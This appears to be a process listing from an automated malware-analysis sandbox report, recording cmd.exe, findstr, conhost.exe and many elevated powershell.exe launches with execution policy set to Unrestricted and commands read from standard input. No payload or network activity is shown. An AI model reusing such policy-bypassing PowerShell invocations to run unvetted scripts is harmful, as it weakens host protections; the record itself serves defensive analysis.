                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""
                                                                                                                                                                                                                                                                        Imagebase:0x7ff761df0000
                                                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:21
                                                                                                                                                                                                                                                                        Start time:12:52:39
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:22
                                                                                                                                                                                                                                                                        Start time:12:52:39
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\findstr.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"
                                                                                                                                                                                                                                                                        Imagebase:0x7ff72bec0000
                                                                                                                                                                                                                                                                        File size:36'352 bytes
                                                                                                                                                                                                                                                                        MD5 hash:804A6AE28E88689E0CF1946A6CB3FEE5
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:23
                                                                                                                                                                                                                                                                        Start time:12:52:39
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:24
                                                                                                                                                                                                                                                                        Start time:12:52:39
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:25
                                                                                                                                                                                                                                                                        Start time:12:52:39
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:26
                                                                                                                                                                                                                                                                        Start time:12:52:39
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:27
                                                                                                                                                                                                                                                                        Start time:12:52:39
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:28
                                                                                                                                                                                                                                                                        Start time:12:52:39
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:29
                                                                                                                                                                                                                                                                        Start time:12:52:39
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:30
                                                                                                                                                                                                                                                                        Start time:12:52:39
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff71e800000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:31
                                                                                                                                                                                                                                                                        Start time:12:52:39
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:32
                                                                                                                                                                                                                                                                        Start time:12:52:39
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:33
                                                                                                                                                                                                                                                                        Start time:12:52:39
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:34
                                                                                                                                                                                                                                                                        Start time:12:52:39
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:35
                                                                                                                                                                                                                                                                        Start time:12:52:39
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7159c0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:36
                                                                                                                                                                                                                                                                        Start time:12:52:40
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:37
                                                                                                                                                                                                                                                                        Start time:12:52:45
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:38
                                                                                                                                                                                                                                                                        Start time:12:52:45
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:39
                                                                                                                                                                                                                                                                        Start time:12:52:47
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:40
                                                                                                                                                                                                                                                                        Start time:12:52:47
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:41
                                                                                                                                                                                                                                                                        Start time:12:52:49
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:42
                                                                                                                                                                                                                                                                        Start time:12:52:49
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:43
                                                                                                                                                                                                                                                                        Start time:12:52:49
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:44
                                                                                                                                                                                                                                                                        Start time:12:52:49
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:45
                                                                                                                                                                                                                                                                        Start time:12:52:49
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:46
                                                                                                                                                                                                                                                                        Start time:12:52:49
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:47
                                                                                                                                                                                                                                                                        Start time:12:52:49
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:48
                                                                                                                                                                                                                                                                        Start time:12:52:49
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:49
                                                                                                                                                                                                                                                                        Start time:12:52:49
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:50
                                                                                                                                                                                                                                                                        Start time:12:52:49
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:51
                                                                                                                                                                                                                                                                        Start time:12:52:49
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:52
                                                                                                                                                                                                                                                                        Start time:12:52:49
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:53
                                                                                                                                                                                                                                                                        Start time:12:52:49
